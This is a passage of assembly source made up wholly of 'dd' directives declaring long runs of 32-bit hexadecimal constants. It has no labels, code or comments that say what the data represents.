0A4BC44CBh, 5900ED5Bh, 8D123FBDh dd 0D33187h, 620FCA3Bh, 6F949136h, 0A8823A3Bh, 0E700DC46h dd 7F779207h, 4CF0BEE8h, 5E008B9Ch, 3C8ACC3Dh, 0C11D5A50h dd 380A692h, 9D4DD1BCh, 0CAA90022h, 86CD56B3h, 2701EB0Fh dd 4A29FD9Ch, 0DC40E801h, 0EFB446Ah, 948545Dh, 1D312E5h dd 0AA6F4CA4h, 816C208Ah, 0EE3BD40Eh, 1795206Bh, 772BA31h dd 0F5C550B3h, 1B40FEB5h, 8F86207Bh, 4D406000h, 238BD802h dd 0F7410016h, 46368C29h, 6C00C250h, 0F6B08642h, 1CC9E0FAh dd 809A5931h, 0F7881432h, 721D0B63h, 0A1801ABDh, 9F79FF68h dd 105C3D4Eh, 3E00E3D8h, 90CB2B87h, 0D52C49A8h, 2880ECD6h dd 2C946616h, 0B82F0C7Bh, 0EC8046CBh, 0B8735F3Fh, 0DA51128Eh dd 6EAC7A00h, 8F1B57h, 0F1E56A07h, 0F5F9097Dh, 992C0100h dd 3B0EE2D5h, 30ABF4ECh, 96604BD6h, 2C74B1D7h, 2B0370C0h dd 0F14CE3Fh, 4A143B2h, 0E1A318D8h, 0A4506B02h, 80C6C4F0h dd 4BF8A918h, 0B3C30F1Dh, 0EDDCC43h, 2019D8CFh, 0E0C761CBh dd 0BE003870h, 0F1EC5020h, 0E7C348h, 8288A10Fh, 7D5C5118h dd 0B9731305h, 4C03D1ABh, 31C41CFh, 9AB23C49h, 3BD82F03h dd 6B0773BDh, 8235988Ah, 0A0AC5352h, 387A4C1Ch, 1D4A00CCh dd 5C5FE524h, 9F007B93h, 6D994EC5h, 0CFEF86h, 341559A7h dd 0EAA16F1Dh, 0FF3C2B79h, 0D16E8166h, 1E88E6F5h, 2483E1E0h dd 363017Ch, 0ED188EECh, 850EABC0h, 76D8D060h, 690AE6h dd 1B86DD6Bh, 309E8C01h, 0B8FBD900h, 6187C849h, 0BD440014h dd 79963205h, 0FA0E7FC3h, 0E02CEDCBh, 8F6D16D2h, 0D0340095h dd 17B707CEh, 4100358Dh, 67A99B3Bh, 0ABF330Fh, 222CF578h dd 90D083C0h, 0E0AF5397h, 9A9C0E87h, 7E74A202h, 8F856DFEh dd 738A6088h, 3CB2B541h, 0AD8030E2h, 0DDC4A878h, 48C005DCh dd 0D95115BAh, 450D0F38h, 0C429CAB0h, 5D00A956h, 0F17678E1h dd 9CC02477h, 83548E4Ch, 60ED820h, 0D9F49A46h, 0AE4C5F00h dd 0CD7B32F6h, 0EC040025h, 2C027CA6h, 28306376h, 31F0B938h dd 64B000D1h, 55D4912Dh, 900030E7h, 7C1EDA10h, 0FE1D9861h dd 8FD200ABh, 0F6AAB383h, 0FA00A8DBh, 554E58F8h, 60F0C1CDh dd 491F0967h, 0D207A1AEh, 3B2A22CEh, 23AAB1C0h, 6D0F0046h dd 158DA65Ch, 1A1C2784h, 18CC8AC2h, 3489179h, 81518576h dd 44D10BECh, 75E98395h, 335131Ah, 243F8A29h, 111C0B2Ch dd 1F8098F7h, 0CD0DA631h, 4CB614D5h, 4700BC4Dh, 4FCFF890h dd 0B80FABD1h, 512BE7h, 0F67E754Ah, 4B4D0189h, 0FBD41DAAh dd 0F4606062h, 0F8A10B01h, 0D2C57C0Ch, 44A7DE1h, 0EBCCF3E7h dd 745A1000h, 0FAE4F6E7h, 0E8F01D8Eh, 0CCE80F5h, 3AD27FEDh dd 0C54BE203h, 222D0259h, 0E90FB229h, 0A0EBD3AEh, 665BA032h dd 3841008Ch, 986876FFh, 5900F419h, 4963AD6Eh, 49C50h dd 0BC34C2D6h, 0DD8F6978h, 0D4009873h, 2B93231Eh, 0BBB07Bh dd 7570DCFFh, 0B8667102h, 23CFE301h, 0E7F18A34h, 70332E0h dd 0DBF8D8D7h, 1F9AD013h, 0A8A038BBh, 0F03C9CC8h, 7C58127h dd 1AA77E24h, 97C422FDh, 8A42051Dh, 0C76A0590h, 8D232139h dd 11108038h, 0C8FE75Dh, 25CA003Fh, 18C11928h, 8E0031ACh dd 0D6A3C2BBh, 244EE598h, 0FE09ADh, 503F4136h, 0E72A0615h dd 2B72DCB1h, 0FC008E77h, 0AD81D64h, 1E1F18h, 0E4191B54h dd 30480D5Ah, 7C09D700h, 0D6E8ECDFh, 8C2F0132h, 26C5CDC1h dd 8B40C833h, 95E3F00h, 0BC56DB7Eh, 416D0063h, 0FED338E1h dd 0A316078h, 9471205Dh, 17A44970h, 0F9E37Ch, 0E53D0F8Dh dd 0B1147204h, 2EBBA0Bh, 0C236C881h, 80C0807Ah, 2483F4Fh dd 0EC43FDFCh, 1040DFD6h, 8C006B65h, 74BE9D05h, 91D993h dd 0F3773DF1h, 0E4955750h, 19EAC62Eh, 738E2C00h, 0F26A82C3h dd 0EB1D00BAh, 71F80604h, 586050AAh, 4E8FBFC9h, 2EE100D9h dd 1ADB61ADh, 0B9007E81h, 0C2B862B6h, 0A04CACh, 832746EDh dd 0A76CE6A5h, 768D3702h, 63639519h, 0D5C1D18Bh, 0A489C8h dd 7D0997ADh, 2F746A1Fh, 0C0CF2B00h, 0FA216852h, 631D12E9h dd 0F97407F6h, 0FE50D0E1h, 0EC076418h, 1280BB9Eh, 8B19DC30h dd 0BE7F006Ah, 0EDCCB92Ah, 0FC00D4ABh, 52AF31C4h, 87BA59h dd 3D17FD2Eh, 0CFB91681h, 0DEABA314h, 80F53DD5h, 0E406B2BAh dd 3B508807h, 3BE94AAh, 650CE900h, 0A01E1468h, 2FA44F00h dd 0F9E04BC2h, 732C00F1h, 6412D40Bh, 550057B4h, 62B22556h dd 26DA2920h, 3B141A46h, 736EC309h, 7960E00Fh, 6B2361F6h dd 6241FB00h, 8D3FFDEh dd 44E10086h, 0F1A5555Fh, 9638E912h, 604501B8h, 0DC576468h dd 40FA2731h, 0DDF278h, 0C5B7043Eh, 0CA538E60h, 0DE00AFF2h dd 6F3D4C87h, 0B86A20F7h, 8E943A64h, 61A9983h, 0AD817565h dd 24BC613Dh, 0B8078528h, 44520C45h, 0CED3FDD0h, 0DA1B00AFh dd 8D5676AEh, 59025D91h, 0DD1E137Ch, 808CC36Ah, 0CBBB6Fh dd 64CF4D1Fh, 0C6B00E80h, 129CF200h, 8DC0071Eh, 27990388h dd 20668BAFh, 0A8F87100h, 738624BFh, 46E00DBh, 14F64B6Ah dd 0B3E0EB4Ch, 25A58h, 33DA63B6h, 5F0DE9h, 285C2D1Bh, 5847B070h dd 0A912E01Dh, 0CCDAF380h, 0E43EA50Dh, 0A38F0078h, 0C56F907Ch dd 44004987h, 0E52D9B01h, 8D0864h, 0B15F5D48h, 0FDE96040h dd 0B200ADFEh, 22C3DFCh, 3EDBB542h, 0BF80AB08h, 0C5C20F76h dd 5C00A289h, 0B022F15Eh, 4C4B8062h, 991234BEh, 4900EA0Ch dd 0DEE6AAEFh, 1CFA00D2h, 8B835C1Eh, 0FFF2675Dh, 3A43F204h dd 0E4D0FC29h, 389F12h, 5A5BEDCAh, 0F521550Ch, 0C82A2F24h dd 0B9EB6F40h, 0FFBE0041h, 34F315DEh, 11029F43h, 0B67C63B0h dd 96860D2h, 0FCFB0F47h, 6B403E69h, 0EB952AB2h, 0BD364C03h dd 0C84ED985h, 38E4733Ch, 0DA00EA16h, 96A9F9B9h, 0DFF43E6Dh dd 72753100h, 9A76B4A6h, 8C9B00E4h, 65135F7Eh, 0D20362BDh dd 9FD57A2h, 14A3B017h, 8CA4076Fh, 0E0199BC0h, 3DF90534h dd 8709E800h, 0B91E15BFh, 0E4FD01B0h, 0A81AB5A6h, 215C20D6h dd 31EE0401h, 794EA55Bh, 0D790C9EAh, 0FDDACCh, 9A10D8C8h dd 15F67B46h, 3CA94458h, 50C980BAh, 5C0B51Bh, 0B42B48EBh dd 99B63C7Eh, 6480C2BDh, 0C8A3A574h, 6BF6F251h, 2394AE50h dd 5A3DA90Ch, 0FE4806EAh, 192F00C5h, 58086ED9h, 7274B16Dh dd 0AFD61500h, 76F8B297h, 848D0F7Eh, 0BE00D889h, 0FDEAD7E3h dd 5C7BB33Bh, 71170006h, 935D339Bh, 0E74C1C60h, 0D7837C3Ah dd 0A3047631h, 0BA2D7B90h, 457F3203h, 0D8AA3062h, 0A9C5AEh dd 0CD156578h, 4F1B9CC3h, 6626FE02h, 48EE2709h, 11C0810h dd 0FAB99BE1h, 0FC5FF7A7h, 2E0A2FC9h, 83422A1Fh, 0E3EF843Ch dd 0C8806B64h, 17AF4940h, 0A4A59Ah, 618AFF56h, 0E41CE56Eh dd 0C84701DDh, 8EA121FDh, 47C45AE0h, 71EA601Fh, 0A3CEA269h dd 0C1C4FB00h, 5519DB64h, 7A971266h, 96DC45C9h, 0A344D0A6h dd 28D819EBh, 66F54D30h, 387918DCh, 0EBDD4400h, 5EC69184h dd 16FC0F9Eh, 55C777C2h, 59B8918Fh, 60D6ECCCh, 12EB2303h dd 0DED28D7Dh, 15441F79h, 0CB72C0EAh, 0C6C9F33Ch, 560F7F07h dd 0ED61049Eh, 7DD40251h, 330E0835h, 58177AC0h, 8FE6205h dd 0AD515402h, 869CE87Fh, 33C63EA1h, 3DD9BE00h, 0FBA609F9h dd 0EE6A20h, 0C43F4E85h, 5E01BB97h, 437AA72Ch, 0DF0E8039h dd 93197494h, 0A3EE00D3h, 0C6B23E10h, 9E00C992h, 0E32B9D22h dd 0F8D34DEDh, 0FBAA00FDh, 0D1AFBD57h, 1B16446Dh, 7900E2C1h dd 287725D0h, 4968003Eh, 7157E6C0h, 7000FA02h, 3B1C86D1h dd 0F7E14Bh, 5CDEA57Dh, 2DEC035Ah, 9CC8D365h, 772B2480h dd 4ED9CF04h, 32F1DC2Ch, 0CA80248h, 2078F8D9h, 0A2E869AFh dd 31F0F580h, 0B30009EBh, 38BF4F92h, 61F48B3Fh, 0E66D4988h dd 32B00F7h, 0DD61C67Ah, 642008AAh, 767D009Eh, 5628D14Dh dd 0B6F60B68h, 35B28B00h, 0E8682A0h, 0CF10572h, 9120D21Fh dd 0CDEB75E0h, 0C8C2D8D7h, 0B5F23700h, 5CEE8BF0h, 94683084h dd 66B2BF1h, 0D1446CA0h, 409F3188h, 0F1E173h, 0A02A8160h dd 0BE0494h, 7EC7E980h, 0AA56EDEAh, 48926706h, 2A41DF49h dd 35A02AE0h, 614CFBh, 5F5351B5h, 0C3E0EC87h, 89B17C33h dd 0D9091531h, 372A485h, 0C7EB3F66h, 0E3A008F9h, 0AA4C5DDAh dd 9FA500D4h, 285B4118h, 0C17006B3h, 6907FA3Ch, 5800247Bh dd 55B8DC8Ah, 32C088D6h, 0E9D1B274h, 45F81120h, 2A1D3199h dd 0DE3B1410h, 5D12B8A0h, 0D5130E8Bh, 2F01ECB1h, 2739BF16h dd 0EA99D0C8h, 0F31B01D3h, 0AE382DCFh, 0FEC182CEh, 93056F22h dd 77D80AE4h, 704F44h, 0D4FCFF16h, 0B9331407h, 30F0199Ah dd 85387E3Ch, 89DD98CCh, 1E82FD5h, 1B3935CDh, 0B5608CEEh dd 9BAD00AAh, 80FB0A61h, 0F9491D5Dh, 12031254h, 0D2DDAC80h dd 0F41C022h, 83E7A2D6h, 69FD4500h, 0D0BAEB19h, 717E01AAh dd 44092AA8h, 0A878BBA7h, 4D1088CAh, 0C53FD54Bh, 0A3332976h dd 67A960D4h, 0F10B462Ah, 0D77239h, 0DD2B3E3Eh, 0EC2C01F3h dd 0D66CA8EEh, 26B04C03h, 9E863D38h, 2F03FBD8h, 0C81EEF79h dd 1388DE3Ah, 4D68BFDDh, 0E530EA70h, 0E1D083D1h, 7B8A5B22h dd 0B33B4CA9h, 0F6147C28h, 3EA892FDh, 0A60062C6h, 27C45A29h dd 430BF23h, 3E139B5h, 3888085Ch, 2315F735h, 1B120194h dd 6091368h, 622B588Ah, 51AB60E8h, 6C451089h, 39872CEDh dd 705CD076h, 0F3E2FD5Bh, 42085706h, 60297CB3h, 86539976h dd 9D004790h, 514ECEBh, 148E2C3h, 40D1A736h, 92096E54h dd 584A9070h, 9E80B487h, 0A0ACED7Eh, 297C00E1h, 0C0760E2Fh dd 2631BBFEh, 25D28817h, 0CAD39183h, 58D8F3D4h, 32002D59h dd 9D680E89h, 64933AE9h, 9245DCD9h, 50804BFCh, 0F3646232h dd 53DC293Fh, 74027D8Ch, 0CADD75Eh, 449844D3h, 890020F2h dd 0B3BADA54h, 0A4CFED2Fh, 1B8E00C4h, 0DE9C811Fh, 4B708A09h dd 7CFFDC24h, 9CC8AB44h, 0CFAF1814h, 74E9712Eh, 0A9F081Dh dd 10847241h, 58306AB1h, 0DD048459h, 0D3173657h, 849598C8h dd 8C82A400h, 0CB90984Dh, 0D9E0022Eh, 0AD30F0BEh, 0D36F9449h dd 78754924h, 98108B1Ah, 0C356Ch, 0BC390663h, 0EE3C4761h dd 114E5100h, 2BAAAEDBh, 21D89208h, 7C209ACDh, 3AEC9900h dd 0E243D022h, 8E2109F2h, 0CC29C68Fh, 7C611402h, 2249DC26h dd 0E8C0C8F3h, 6071515Bh, 3228C303h, 0D0918B09h, 14628Ch dd 4ACA37F0h, 4D55954Bh, 3C266CE8h, 929850BCh, 6AD65C00h dd 7D9121A7h, 0F06640E5h, 39ED5130h, 0C6CAFF85h, 8D4E281h dd 0E0AEF019h, 8422FB21h, 53AAB701h, 4C43093Ch, 8E9CA0h dd 0E62F60BEh, 0E3229BA2h, 95D30900h, 4654F88Fh, 78FA1079h dd 28711CAh, 2167F012h, 804DFB08h, 75FC6671h, 0BEC7D95h dd 2844DA7Eh, 39734506h, 0D174A498h, 0B8A91899h, 0AB789480h dd 38594FEDh, 3B8F91A7h, 8606EEFh, 487FB14Ah, 0F4885E6Fh dd 0AF72C060h, 2C144DCh, 893A87F4h, 4E60BB81h, 0DE0670A8h dd 0F8D20F74h, 991A1669h, 1F8903D0h, 91263F8Bh, 0E8A05CE1h dd 0CF86852h, 0B1DE6F4Eh, 86841331h, 54B440C7h, 0CDDC0249h dd 36002491h, 0B01362C8h, 0E8D30027h, 9282733Eh, 78E46344h dd 4D2AFF04h, 14893D20h, 8F7C1C4h, 0F63B0237h, 55FA7D07h dd 5BC5B221h, 15588BC8h, 0C0B044C4h, 1CF1DB11h, 198051A5h dd 0E6310B42h, 92C07E1Fh, 1F145C50h, 9312F71Fh, 194C30AAh dd 0F6008689h, 0D7564694h, 3DBF7798h, 0DD127F5Dh, 78344479h dd 0C21441EBh, 8C373530h, 9BCB0B00h, 7EB51587h, 49AD4E00h dd 8611A6AEh, 18F40CC9h, 0FC413C1Ah, 8843FA24h, 2D90806h dd 896000F9h, 5E6144AAh, 59C47A95h, 58C903D2h, 0C0F96920h dd 6D774819h, 0BD01C3F4h, 0B32B965Fh, 896A755h, 58302071h dd 7EABD18h, 0FC29020Eh, 3850162Dh, 184F22E8h, 59FACDDDh dd 0A005032h, 40D795A1h, 49D5CBFh, 1965BD72h, 92188CD3h dd 9A2CA100h, 0F9C968D9h, 0FBACB2ECh, 323E7F8h, 0F0DE91DCh dd 8CE5E27Ah dd 9492E908h, 80DC5048h, 6E6CE614h, 0A6849808h, 88FB5CC8h dd 0CBE1B880h, 500191D7h, 4C26987h, 3067AC23h, 31900100h dd 3E381D62h, 0F6497600h, 97653354h, 0E20540B2h, 31C0D9B0h dd 25F8AADAh, 33BF0F39h, 64605E27h, 0B4A6E3Ch, 702B7206h dd 0EED99F6Fh, 800C9675h, 0EFBC4ADFh, 13129594h, 0F848DEA0h dd 5DD58006h, 0D761C34Bh, 55244C13h, 1066D04Bh, 1F71C38h dd 5E346FDEh, 22C5C36Eh, 4A3200E0h, 0C0104E71h, 385500DDh dd 565F98B4h, 14B1DCCBh, 6903C811h, 0CA157744h, 20A09495h dd 0EC7265E4h, 6BA11E0Ah, 4991A89Ah, 1478E007h, 5083470Fh dd 0C05EA136h, 0F2116900h, 0E6ED16A4h, 0C0529031h, 51423431h dd 62031C13h, 0DCD5DEB6h, 4443A016h, 3B17184Fh, 500391ECh dd 8BEBC203h, 0D239E75Ch, 307042F9h, 7466DAD4h, 97EE14BBh dd 0BF07EF61h, 30F97339h, 8685D023h, 55F070A0h, 90D0E369h dd 0D6612B70h, 0FBF43108h, 0F118042h, 69B1CC9Ah, 46DB0031h dd 9B1F3BAEh, 2893C521h, 0E7E0803Ah, 0B0514A28h, 6D840CFEh dd 2B68CADEh, 0C4256BECh, 526098D5h, 0A10F39E0h, 0DB451E00h dd 4F160EDEh, 688BF5Ch, 0C8155CAFh, 4EFB3099h, 0DD342B69h dd 7CCE4Ch, 0E28CE4A3h, 0FE4A413Ch, 36282CEBh, 26E3E014h dd 97072476h, 2728B7A9h, 0E19D5B40h, 347481F0h, 0F342F978h dd 21032B13h, 30FBFCCCh, 965C4F41h, 0A0518A50h, 848F32E3h dd 0BE0AB4Eh, 931987DFh, 19C08474h, 936C27Dh, 309F0BBEh dd 0F011D331h, 26C2089Eh, 40BC3B97h, 0EBB2165Eh, 829A0139h dd 72487A0h, 4BE84CDEh, 1AC860A7h, 0BB0064AFh, 6D8554F0h dd 159BA1ADh, 0D8DFF57Eh, 6D9D49C0h, 2A1D523Eh, 0E6C2FA90h dd 57C6BCEh, 8584DC76h, 0ED54FA51h, 0B4C87421h, 4DA05200h dd 57E306E5h, 1614004Bh, 7CB7E0BBh, 29C0D901h, 0D0CEBDD2h dd 38A14910h, 294A6811h, 3DBC64h, 6D95A324h, 67588E2h dd 0B6DDFC4Eh, 0EF442918h, 40B4002Eh, 4E999626h, 0D3484DC8h dd 122DC5Ch, 0FEA38BB0h, 51C3E374h, 10E97ADCh, 13DBC114h dd 29DE8878h, 73D031A4h, 9D3001Ch, 9131680Dh, 5AB600CBh dd 7C5C7663h, 50C6CF7Bh, 759DAD9h, 0E15BB690h, 2DDE1E9h dd 0DE1892C8h, 7A6F2C21h, 0E927EA10h, 0D94C3492h, 158180A0h dd 7FD628Fh, 68DED7E3h, 0B8B2A069h, 14053C1Bh, 0C51B395h dd 0D1DDAC05h, 0D45FA060h, 93790087h, 9B8EC919h, 5230778Bh dd 444E2847h, 0CC84A28Ah, 87A92868h, 381200A2h, 6D72F060h dd 0EA00431Fh, 0A8FBA061h, 67D9A585h, 0E0A3E1F2h, 28BBD314h dd 0F1303CFAh, 34310A68h, 4AEDEECFh, 0B67C4065h, 123ED759h dd 4719CA0Fh, 0E1510EDDh, 0EC557615h, 0B3482E4h, 3077E8C4h dd 0F0D6C810h, 5C49524Ah, 0A1B8E615h, 0D61049B4h, 9901FB6Bh dd 0EE3CEAC3h, 0D7FCB078h, 6776005Ch, 528E9603h, 0C1048AFBh dd 0A7BA6147h, 0A58BD4F4h, 0BD080084h, 0D811A156h, 0F0F6DB00h dd 32E1809h, 71600BFBh, 0B00431CDh, 0ACBD20EFh, 4EF23E12h dd 41972C5Dh, 0D86CB2CCh, 30BC7016h, 0DC6220D3h, 0B8504A7h dd 64DC83A5h, 0E4FB9AD4h, 7F130020h, 9DCD6691h, 5000C74Ch dd 0E2521B57h, 4FA6C8Bh, 6ECFC348h, 1CC4A6D3h, 39409E5Bh dd 77318227h, 0DD0724A1h, 38C041C4h, 0D85AE255h, 0ECCC8511h dd 0C8EC204Ah, 66135326h, 93C412h, 2369D154h, 5D6534E0h dd 0C8809C03h, 5F9163A4h, 5E15DD09h, 6EC8C228h, 35D600ACh dd 5704D734h, 6800B408h, 0AB207C5Fh, 9CDEA967h, 3CCB9120h dd 0D66B8E23h, 906AAB6Eh, 1304BE14h, 4508A08Ch, 5484E84h dd 0A76B2B44h, 4644A98h, 2884D888h, 0B17CF3FEh, 9A5C00C0h dd 7EAF0526h, 5F303901h, 0E963065Eh, 0DC349844h, 4E1400E3h dd 0DE343072h, 43B0E451h, 2CC0A470h, 320B51A1h, 8D2B049Bh dd 8DE0BC17h, 20236Ch, 84DD5347h, 82709Eh, 1CDC075Dh, 0F0E42E71h dd 0DE946716h, 0E9217070h, 0ABF0A6h, 0ADD5638h, 0B41DC854h dd 77236B1Ch, 4A345428h, 70D9E9E4h, 0C48FF012h, 9D0600F8h dd 6076D9D4h, 0EC0089D0h, 227E9623h, 44FA48E1h, 1D09AD4Ch dd 80C7B9EEh, 13A8FC01h, 7C012C0Bh, 6A3DC048h, 43009FB0h dd 8BC4F6CBh, 0F93163BBh, 407A24D2h, 0DECCB0ABh, 224C9286h dd 0A577EDFAh, 42F31604h, 5C8852C0h, 4015E1C2h, 92018AA0h dd 0C08A74FAh, 9A2573h, 3A7B623Eh, 0FC90D6E3h, 26171C01h dd 0A4332F0Bh, 0D868A471h, 1FB9ECCCh, 58F7D002h, 0A19B3E34h dd 0F35FF0ECh, 38A4CED2h, 600C41Bh, 6A85B616h, 132D3E72h dd 3B9825F7h, 7CD96400h, 7B2016B8h, 4AE60299h, 0A7A2EA12h dd 931F24D1h, 461BB180h, 0D49A4D77h, 38403899h, 6B4A03DDh dd 0F9DC0DA0h, 150E59B0h, 0F013E077h, 3064E326h, 8048EC08h dd 254279F1h, 0B738FCCBh, 8A4500F0h, 0D112A42Eh, 0E591C42Bh dd 494E4240h, 0E91049D0h, 0F0D3E2h, 0DEFB47Eh, 58FC6B8Dh dd 37E95600h, 0E0FAE747h, 2C7D74CCh, 12168245h, 0CB288CC5h dd 0CA4E7C00h, 2C77B6Dh, 507709C9h, 18E4AA1Ah, 0BE09A090h dd 90802458h, 0E4C488h, 3E70C6ECh, 8F2248EFh, 0AAC79613h dd 206E0B0h, 0C111514Ah, 0EC903EE2h, 712BD84h, 34238FE0h dd 119D9025h, 0D34AFADEh, 26046028h, 0D8007274h, 0C70540C4h dd 480860h, 8F2DADCFh, 0F0228EE2h, 8513AB42h, 0B2D48524h dd 9FE2758h, 0D3A818F0h, 0FF293990h, 4AE58080h, 0A7AF0D8Fh dd 0D0612B24h, 0F6207361h, 0F1326012h, 76DC0024h, 1A8C97D3h dd 3A44960Fh, 14914025h, 880B5CEh, 0D1F7AD47h, 44737208h dd 83C0A26Bh, 0BB0E636Dh, 8729E805h, 0BFEF0793h, 0D038A823h dd 0CD88B82Eh, 8A04Ah, 64864980h, 0FB309184h, 2E73A941h dd 671701F6h, 3A433423h, 71D98826h, 50C8A02Fh, 10F06CCCh dd 16D3F31Bh, 1457F885h, 2090B062h, 0BD0BF309h, 0C0108758h dd 0F55AA353h, 17352438h, 0B391760h, 0B822E1B2h, 0F052D1E2h dd 139AC4A1h, 5E8DB03Ch, 1D10051h, 46B7F7EFh, 0DE034285h dd 33575F20h, 2088F502h, 4484B647h, 89FCC8FAh, 18A93D00h dd 9A55190Fh, 104516B8h, 0FADC91D7h, 408916CAh, 5B60FB71h dd 0E1090841h, 0B4BF1373h, 0DE9C4B10h, 6C926CC6h, 785F5204h dd 7D40C284h, 238051AAh, 0F7BCA018h, 16C21471h, 0C8C92AE1h dd 0F089ED1Ch, 5C72F5C9h, 80DCD32Bh, 975044F6h, 5409690Eh dd 0C6F27165h, 4E4F4404h, 3CB4FE00h, 0FFDBE03Eh, 5FF600A3h dd 4AD4E32Ch, 181A01C9h, 42C96EB6h, 6CE640h, 0A67DBA0h dd 546142C6h, 0EDA7B300h, 0C70CBECEh, 0E4020B7Ah, 0B86ED07Eh dd 7600E9E8h, 2DA2C175h, 0BA8E2Ah, 352463F8h, 422C4B1Ch dd 3480C89Bh, 232D6AA6h, 82F202CFh, 9FF99685h, 8622FCC4h dd 5B890CEh, 16E00C98h, 438C2249h, 76151A20h, 0DCE800B8h dd 1E07026Ah, 0EDE186D4h, 0E8A0C6CEh, 0D041FC14h, 0F8B46090h dd 586C50h, 0F1D4D5D8h, 0ECBE097h, 35137217h, 8D8F0D5h dd 4D390032h, 0FC2B8238h, 0C9229DEh, 16C63F9h, 693BDDF1h dd 5ECC36D0h, 0BD920007h, 0F8A1A6E4h, 8674C73Ch, 697A776Dh dd 9BA22450h, 7F9221Ah, 42281E00h, 0CCB7B106h, 0D62D1ED1h dd 8D393ACh, 0DB44EC70h, 2023649Dh, 71010638h, 0C8B53730h dd 3852F01Fh, 50D45907h, 0D3410BBEh, 0E039097Bh, 0EC255380h dd 9203EFAAh, 0F0393FD3h, 0DBA9E199h, 9CD8F8D0h, 0FBEA42ACh dd 86C27C80h dd 710031DAh, 0BFA30CEFh, 16578E5h, 126A334Dh, 5164A9AAh dd 328526ACh, 47B28150h, 6FE8F88Ch, 717A0FAFh, 279DD374h dd 0E9F878B3h, 7B3C16D4h, 1AA487E7h, 0F125756Eh, 0B852ECCCh dd 135F172Eh, 215A0098h, 0A45B146Ch, 0B4BC937Fh, 5DF965C0h dd 4175010Ah, 0A9ADBB07h, 0A4B20430h, 8BDF6700h, 80D2B74h dd 47903A1Eh, 0E224F547h, 28317AFDh, 3A808C68h, 8BC90485h dd 75D32900h, 0B8906FB5h, 4A60002Ch, 0B113172h, 2A5BE0A5h dd 1FDD0041h, 0BAD19C0Ah, 1F5D4AF0h, 0B11D2010h, 2A444E21h dd 10D95C4Bh, 3F37CD70h, 0AF1CA0B0h, 0B8E8D98Fh, 8B8980E7h dd 51B75827h, 0CB5E0C61h, 0ED41E020h, 73CEC888h, 170602BAh dd 19E947B4h, 454D4468h, 6A444894h, 27384E20h, 90265094h dd 9CB37812h, 204ED84Dh, 0A4AEF02Ch, 0F818B12Ch, 10888545h dd 1DA774Ah, 7603A8D6h, 633CC055h, 20642FD0h, 871DC84h dd 0C3FF00A0h, 656D72A6h, 0CC910D15h, 14D8DE92h, 398D0F61h dd 0EC02C4FBh, 38C6BB58h, 6706E4B0h, 0CD3848B5h, 0C92C9CB0h dd 6865AC09h, 14167B80h, 0CFFB7066h, 9DE0A47Eh, 0D1E4AFA5h dd 0E54D2814h, 3075C0CCh, 2DEF625h, 31E659D8h, 0F8422AE8h dd 409FD496h, 0A3DF3Fh, 0F11774EAh, 7B3A9410h, 9AD3C301h dd 220E447h, 9CB86Dh, 0C1942D24h, 4609D8C8h, 0BAE9555h dd 0B2E838ACh, 0F0B301ECh, 5D987D84h, 0D827C434h, 5020E85Ah dd 836232h, 457964Ch, 0D0C63845h, 11ED54A1h, 0D8C8C9B7h dd 0D51032F3h, 0A85B85E8h, 0C3DB1D00h, 780FA148h, 72970E92h dd 4985D568h, 94F48865h, 0E34088h, 0AAE5B3DCh, 8C3EC631h dd 0E1FC7300h, 0A6EEA804h, 88B094E0h, 90A74E60h, 7F12DC34h dd 3B21001Dh, 22CC80F6h, 48930468h, 2FBD0903h, 0D94925C9h dd 4CF28C48h, 0B3A5170Fh, 5510A123h, 1025F8B4h, 27001033h dd 51376E4Fh, 1104E5B9h, 31B22840h, 0C8A3D8C0h, 0DC03026Fh dd 0DB5CB66Ch, 0CD25E444h, 900E82Bh, 0AB190086h, 1F0379E8h dd 0CA017B5Bh, 2CF388E5h, 8C703E0Ah, 0FD3902C9h, 48742BAAh dd 0B472608Eh, 0BF39A1ACh, 71BF0Dh, 0FD0B6F3h, 5C3858E6h dd 0FEC84C02h, 0B8059CA6h, 8002FBA0h, 56C7988Bh, 0FA183CB8h dd 3FBA6142h, 808D773Ch, 0EDC73718h, 58E50278h, 0FD882C84h dd 0BB606CA4h, 2156CDh, 0B98BBFABh, 0D0A8700Ch, 0C312CAEEh dd 4B12F3F2h, 88F69CCCh, 812E2E86h, 0ACA840D1h, 5F4D44h dd 0CACF5352h, 0E163B8E3h, 2004FE1Fh, 13C678CBh, 1E748874h dd 0FC5500E6h, 0F3173468h, 0F0EE393Ch, 2FC65C27h, 11E0A068h dd 8D9DE3h, 1D8CCA7Ah, 0A6FC7741h, 84D1A74Bh, 0C472F2C5h dd 0E7A0242Ch, 4C308B74h, 85095E51h, 2BD4D37h, 0D901BB63h dd 0E61400BCh, 0B41D2E23h, 4915B204h, 0D0B7AA3Eh, 6F85EA1Ch dd 0A3F01C22h, 0FEF874DAh, 205C1AB7h, 0C312E53Ch, 582B0266h dd 0A5875E21h, 74102C89h, 48258A32h, 9A4C6471h, 8AAC4BB0h dd 0A1EA2600h, 0BBFC6002h, 25ACC4D5h, 0EC108085h, 9CBCE267h dd 4ABDF06Ah, 8BE46088h, 28CBFAE9h, 0B3F78860h, 0F024A510h dd 705820C2h, 6D7C98h, 0CC8373D1h, 0AF67DF52h, 88997E01h dd 3A6AC372h, 0B8A8A052h, 4CDF8C4h, 6F93B4F9h, 0FC4AC2DBh dd 94043046h, 73F044Bh, 80A0251Fh, 9F2A47BBh, 0B9E09D04h dd 16C057BEh, 29F87BA9h, 91F8DE6Ch, 7E03E4Dh, 0ED0B7F34h dd 0BB542240h, 5E442F90h, 40977424h, 73E5F923h, 0FEC0111h dd 35A27A34h, 0C521F801h, 337E2E04h, 20F4556Dh, 9D38041Dh dd 0AD3CB988h, 8F8780A4h, 5C5D27FDh, 8E00DC44h, 80201BE0h dd 331F384Ah, 0AAAFC607h, 67642484h, 1832FA32h, 84EA5014h dd 4B7CCD42h, 3BE4C85Fh, 5402AC99h, 400FCA4Dh, 4E34825Ch dd 0E29C9D91h, 78A22040h, 742E3600h, 9CD8B8E7h, 9940B850h dd 8D96401Ch, 4DFC513Fh, 203AD341h, 83E169E8h, 92E3A1Fh dd 2A6CCC25h, 525C52F0h, 304870F3h, 0A9806459h, 0A36BC37Fh dd 33BFA502h, 0CA53B0h, 9A12E0B4h, 51025B98h, 3E7A4346h dd 8C71FAh, 4E38669Eh, 1212D113h, 4030BAE3h, 48F0D39Ch dd 0DECC8C78h, 98A46609h, 0B701A976h, 15881483h, 14248D9Eh dd 3091899Ah, 0AE009B13h, 49DA1F30h, 7EC0C138h, 802C2792h dd 0D70018C4h, 0ED951576h, 0A00261h, 0DB1CF046h, 42ABD42Fh dd 0A0396526h, 0D8BD1780h, 7DFDDECh, 0DE8D8345h, 14A7B2ABh 